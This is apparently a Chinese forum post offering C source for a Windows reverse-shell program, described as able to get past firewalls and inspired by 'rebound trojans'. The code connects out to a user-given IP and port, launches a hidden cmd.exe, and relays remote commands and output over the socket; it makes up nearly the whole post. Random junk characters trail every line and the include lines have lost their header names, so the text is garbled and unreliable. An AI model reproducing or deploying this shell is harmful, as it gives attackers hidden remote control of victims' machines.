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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y3'K+?4  
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/* ============================== 3XjY  
Rebound port in Windows NT 4NFvX4  
By wind,2006/7 ]ao%9:P;  
===============================*/ n)]u|qq  
#include ug`Jn&x!  
#include x2]chN  
jA%R8hdr_  
#pragma comment(lib,"wsock32.lib") .YS48 c  
Bb5RZ#oa  
void OutputShell(); ^j_t{h)W(0  
SOCKET sClient; PTA_erU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vN)l3  
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void main(int argc,char **argv) -Ze2]^#dl  
{ -S $Y0FDV  
WSADATA stWsaData; )Oj%3  
int nRet; pEGHW;  
SOCKADDR_IN stSaiClient,stSaiServer; ^zS|O]Tx  
~ln96*)M;  
if(argc != 3) P.t7_v>  
{ >RmL0d#B  
printf("Useage:\n\rRebound DestIP DestPort\n"); c$%I^f}'  
return; 6k\8ulHw  
} 7LW %:0  
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WSAStartup(MAKEWORD(2,2),&stWsaData); euh rEjwkH  
hKK"D:?PRs  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o:/yme G  
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stSaiClient.sin_family = AF_INET; Ria*+.k@"B  
stSaiClient.sin_port = htons(0); ]:]w+N%7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <m?/yRE K2  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y"0! 7^  
{ 9d,2d5Y  
printf("Bind Socket Failed!\n"); !='&#@7u  
return; Xu5^ly8p9q  
} ?[Qxq34  
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stSaiServer.sin_family = AF_INET; L)Ru]X`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gtb,}T=1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mt3j$r{_  
}&*,!ES*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yYZ0o.<&T*  
{ ]u O|YLWp  
printf("Connect Error!"); <NX6m|DD  
return; M$GZK'%  
} Jp`qE  
OutputShell(); ulnlRx  
} P EAo'63$  
v4x1=E  
void OutputShell() yB^_dE  
{ c3aF lxW  
char szBuff[1024]; K0?:?>*b#  
SECURITY_ATTRIBUTES stSecurityAttributes; f9&po2Pzf  
OSVERSIONINFO stOsversionInfo; o4pe>hn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =arrp:  
STARTUPINFO stStartupInfo; olf7L%  
char *szShell; wTY8={p]  
PROCESS_INFORMATION stProcessInformation; Z\M8DZW8Y  
unsigned long lBytesRead; 7q _.@J  
m:XMF)tW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ghqq%g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KF`@o@,  
stSecurityAttributes.lpSecurityDescriptor = 0; zz+[]G+"2m  
stSecurityAttributes.bInheritHandle = TRUE; "@)9$-g  
3DO ^vV  
Bl)DuCV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }xM >F%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p8MPn>h<  
R~DZY{u+/$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7vs>PV  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _!*??B6u  
stStartupInfo.wShowWindow = SW_HIDE; L2 tSKw~  
stStartupInfo.hStdInput = hReadPipe; PG/xX H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d$`NApr  
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GetVersionEx(&stOsversionInfo); RZ&T\;m,7  
v81H!c.*  
switch(stOsversionInfo.dwPlatformId) n$T'gX#5  
{ <U() *0  
case 1: xT$9M"  
szShell = "command.com"; ^8yhx-mgb  
break; wtw  
default: S>pbplE  
szShell = "cmd.exe"; =9JKg4I6  
break; 5 J9,/M0  
} )9 QeVf  
k9<P]%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]2P*Z6Az  
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send(sClient,szMsg,77,0); .-g++f(_i  
while(1) #{kwl|c   
{ |H'4];>R?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )tyhf(p6  
if(lBytesRead) wd`lN,WiW  
{ !4f0VQI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l4sFT)}-J  
send(sClient,szBuff,lBytesRead,0); ;:l\_b'Z}  
} >~sAa+Oxi  
else >)3[CU,  
{ ,1+)qv#|i  
lBytesRead=recv(sClient,szBuff,1024,0); $fwv'  
if(lBytesRead<=0) break; 2%Y]M%P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KGsH3{r  
} 5 5_#?vw  
} }t[?g)"M#-  
Y&Sk/8  
return; Z'vGX,:  
}
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